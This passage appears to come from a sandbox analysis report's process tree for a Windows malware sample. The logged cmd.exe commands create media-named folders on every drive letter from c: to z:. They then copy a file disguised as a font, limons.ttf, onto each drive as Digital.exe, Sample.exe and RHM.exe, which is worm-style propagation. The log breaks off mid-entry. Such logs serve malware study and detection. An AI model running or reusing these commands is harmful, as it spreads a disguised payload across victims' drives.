- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul md p:\Video
    3⤵
    PID:4248
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul md q:\Video
    3⤵
    PID:4132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul md r:\Video
    3⤵
    PID:3792
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul md s:\Video
    3⤵
    PID:212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul md t:\Video
    3⤵
    PID:4036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul md u:\Video
    3⤵
    PID:204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul md v:\Video
    3⤵
    PID:1484
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul md w:\Video
    3⤵
    PID:4480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul md x:\Video
    3⤵
    PID:2376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul md y:\Video
    3⤵
    PID:2252
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul md z:\Video
    3⤵
    PID:4848
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul md c:\Mp3
    3⤵
    PID:3760
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul md d:\Mp3
    3⤵
    PID:3480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul md e:\Mp3
    3⤵
    PID:3648
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul md f:\Mp3
    3⤵
    PID:3592
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul md g:\Mp3
    3⤵
    PID:4080
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul md h:\Mp3
    3⤵
    PID:3488
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul md i:\Mp3
    3⤵
    PID:4340
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul md j:\Mp3
    3⤵
    PID:5016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul md k:\Mp3
    3⤵
    PID:4980
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul md l:\Mp3
    3⤵
    PID:4472
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul md m:\Mp3
    3⤵
    PID:1224
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul md n:\Mp3
    3⤵
    PID:4816
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul md o:\Mp3
    3⤵
    PID:4360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul md p:\Mp3
    3⤵
    PID:3840
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul md q:\Mp3
    3⤵
    PID:2248
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul md r:\Mp3
    3⤵
    PID:756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul md s:\Mp3
    3⤵
    PID:1664
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul md t:\Mp3
    3⤵
    PID:364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul md u:\Mp3
    3⤵
    PID:4048
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul md v:\Mp3
    3⤵
    PID:3884
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul md w:\Mp3
    3⤵
    PID:4560
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul md x:\Mp3
    3⤵
    PID:744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul md y:\Mp3
    3⤵
    PID:828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul md z:\Mp3
    3⤵
    PID:376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul md c:\Music
    3⤵
    PID:2100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul md d:\Music
    3⤵
    PID:836
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul md e:\Music
    3⤵
    PID:1916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul md f:\Music
    3⤵
    PID:1444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul md g:\Music
    3⤵
    PID:3736
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul md h:\Music
    3⤵
    PID:3108
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul md i:\Music
    3⤵
    PID:3816
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul md j:\Music
    3⤵
    PID:4692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul md k:\Music
    3⤵
    PID:2928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul md l:\Music
    3⤵
    PID:3272
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul md m:\Music
    3⤵
    PID:4284
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul md n:\Music
    3⤵
    PID:1856
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul md o:\Music
    3⤵
    PID:4328
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul md p:\Music
    3⤵
    PID:4256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul md q:\Music
    3⤵
    PID:2668
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul md r:\Music
    3⤵
    PID:4316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul md s:\Music
    3⤵
    PID:2164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul md t:\Music
    3⤵
    PID:620
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul md u:\Music
    3⤵
    PID:3180
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul md v:\Music
    3⤵
    PID:4112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul md w:\Music
    3⤵
    PID:1988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul md x:\Music
    3⤵
    PID:4532
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul md y:\Music
    3⤵
    PID:2732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul md z:\Music
    3⤵
    PID:3764
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul md c:\Videos
    3⤵
    PID:4600
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul md d:\Videos
    3⤵
    PID:3716
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul md e:\Videos
    3⤵
    PID:1640
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul md f:\Videos
    3⤵
    PID:1628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul md g:\Videos
    3⤵
    PID:2804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul md h:\Videos
    3⤵
    PID:2684
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul md i:\Videos
    3⤵
    PID:3512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul md j:\Videos
    3⤵
    PID:1136
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul md k:\Videos
    3⤵
    PID:2740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul md l:\Videos
    3⤵
    PID:996
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul md m:\Videos
    3⤵
    PID:632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul md n:\Videos
    3⤵
    PID:444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul md o:\Videos
    3⤵
    PID:3256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul md p:\Videos
    3⤵
    PID:456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul md q:\Videos
    3⤵
    PID:1948
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul md r:\Videos
    3⤵
    PID:3360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul md s:\Videos
    3⤵
    PID:1492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul md t:\Videos
    3⤵
    PID:3632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul md u:\Videos
    3⤵
    PID:2924
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul md v:\Videos
    3⤵
    PID:4204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul md w:\Videos
    3⤵
    PID:2416
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul md x:\Videos
    3⤵
    PID:860
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul md y:\Videos
    3⤵
    PID:868
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul md z:\Videos
    3⤵
    PID:4912
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul md c:\Images
    3⤵
    PID:4860
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul md d:\Images
    3⤵
    PID:3944
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul md e:\Images
    3⤵
    PID:4024
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul md f:\Images
    3⤵
    PID:1464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul md g:\Images
    3⤵
    PID:4904
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul md h:\Images
    3⤵
    PID:2512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul md i:\Images
    3⤵
    PID:4800
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul md j:\Images
    3⤵
    PID:3388
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul md k:\Images
    3⤵
    PID:5112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul md l:\Images
    3⤵
    PID:4392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul md m:\Images
    3⤵
    PID:4628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul md n:\Images
    3⤵
    PID:4348
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul md o:\Images
    3⤵
    PID:5096
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul md p:\Images
    3⤵
    PID:4016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul md q:\Images
    3⤵
    PID:5088
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul md r:\Images
    3⤵
    PID:5056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul md s:\Images
    3⤵
    PID:5068
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul md t:\Images
    3⤵
    PID:3528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul md u:\Images
    3⤵
    PID:4952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul md v:\Images
    3⤵
    PID:1860
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul md w:\Images
    3⤵
    PID:1028
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul md x:\Images
    3⤵
    PID:3152
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul md y:\Images
    3⤵
    PID:1160
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul md z:\Images
    3⤵
    PID:1324
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul md c:\Movies
    3⤵
    PID:4276
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul md d:\Movies
    3⤵
    PID:2104
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul md e:\Movies
    3⤵
    PID:4636
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul md f:\Movies
    3⤵
    PID:4736
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul md g:\Movies
    3⤵
    PID:2016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul md h:\Movies
    3⤵
    PID:3164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul md i:\Movies
    3⤵
    PID:3440
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul md j:\Movies
    3⤵
    PID:1800
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul md k:\Movies
    3⤵
    PID:3316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul md l:\Movies
    3⤵
    PID:1264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul md m:\Movies
    3⤵
    PID:1676
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul md n:\Movies
    3⤵
    PID:2276
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul md o:\Movies
    3⤵
    PID:4200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul md p:\Movies
    3⤵
    PID:4576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul md q:\Movies
    3⤵
    PID:2952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul md r:\Movies
    3⤵
    PID:4248
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul md s:\Movies
    3⤵
    PID:4132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul md t:\Movies
    3⤵
    PID:3792
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul md u:\Movies
    3⤵
    PID:212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul md v:\Movies
    3⤵
    PID:4036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul md w:\Movies
    3⤵
    PID:204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul md x:\Movies
    3⤵
    PID:1484
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul md y:\Movies
    3⤵
    PID:4480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul md z:\Movies
    3⤵
    PID:4828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\Sounds\Digital.exe /y
    3⤵
    PID:3756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\Sounds\Digital.exe /y
    3⤵
    PID:4856
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\Sounds\Digital.exe /y
    3⤵
    PID:1596
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\Sounds\Digital.exe /y
    3⤵
    PID:3364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\Sounds\Digital.exe /y
    3⤵
    PID:3476
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\Sounds\Digital.exe /y
    3⤵
    PID:3644
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\Sounds\Digital.exe /y
    3⤵
    PID:3876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\Sounds\Digital.exe /y
    3⤵
    PID:3724
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\Sounds\Digital.exe /y
    3⤵
    PID:1992
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\Sounds\Digital.exe /y
    3⤵
    PID:3372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\Sounds\Digital.exe /y
    3⤵
    PID:4364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\Sounds\Digital.exe /y
    3⤵
    PID:4472
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\Sounds\Digital.exe /y
    3⤵
    PID:1224
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\Sounds\Digital.exe /y
    3⤵
    PID:4816
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\Sounds\Digital.exe /y
    3⤵
    PID:4360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\Sounds\Digital.exe /y
    3⤵
    PID:3840
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\Sounds\Digital.exe /y
    3⤵
    PID:2248
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\Sounds\Digital.exe /y
    3⤵
    PID:756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\Sounds\Digital.exe /y
    3⤵
    PID:1664
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\Sounds\Digital.exe /y
    3⤵
    PID:364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\Sounds\Digital.exe /y
    3⤵
    PID:4048
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\Sounds\Digital.exe /y
    3⤵
    PID:3884
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\Sounds\Digital.exe /y
    3⤵
    PID:4560
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\Sounds\Digital.exe /y
    3⤵
    PID:744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\Sounds\Sample.exe /y
    3⤵
    PID:828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\Sounds\Sample.exe /y
    3⤵
    PID:2100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\Sounds\Sample.exe /y
    3⤵
    PID:1916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\Sounds\Sample.exe /y
    3⤵
    PID:2032
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\Sounds\Sample.exe /y
    3⤵
    PID:4624
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\Sounds\Sample.exe /y
    3⤵
    PID:3712
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\Sounds\Sample.exe /y
    3⤵
    PID:3296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\Sounds\Sample.exe /y
    3⤵
    PID:1096
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\Sounds\Sample.exe /y
    3⤵
    PID:3656
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\Sounds\Sample.exe /y
    3⤵
    PID:4780
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\Sounds\Sample.exe /y
    3⤵
    PID:5108
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\Sounds\Sample.exe /y
    3⤵
    PID:4556
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\Sounds\Sample.exe /y
    3⤵
    PID:4264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\Sounds\Sample.exe /y
    3⤵
    PID:4668
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\Sounds\Sample.exe /y
    3⤵
    PID:3772
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\Sounds\Sample.exe /y
    3⤵
    PID:2776
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\Sounds\Sample.exe /y
    3⤵
    PID:3472
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\Sounds\Sample.exe /y
    3⤵
    PID:940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\Sounds\Sample.exe /y
    3⤵
    PID:4660
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\Sounds\Sample.exe /y
    3⤵
    PID:3144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\Sounds\Sample.exe /y
    3⤵
    PID:2508
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\Sounds\Sample.exe /y
    3⤵
    PID:2256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\Sounds\Sample.exe /y
    3⤵
    PID:1780
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\Sounds\Sample.exe /y
    3⤵
    PID:1108
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\Music\RHM.exe /y
    3⤵
    PID:1740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\Music\RHM.exe /y
    3⤵
    PID:4208
- - C:\Windows\SysWOW64\cmd.exe
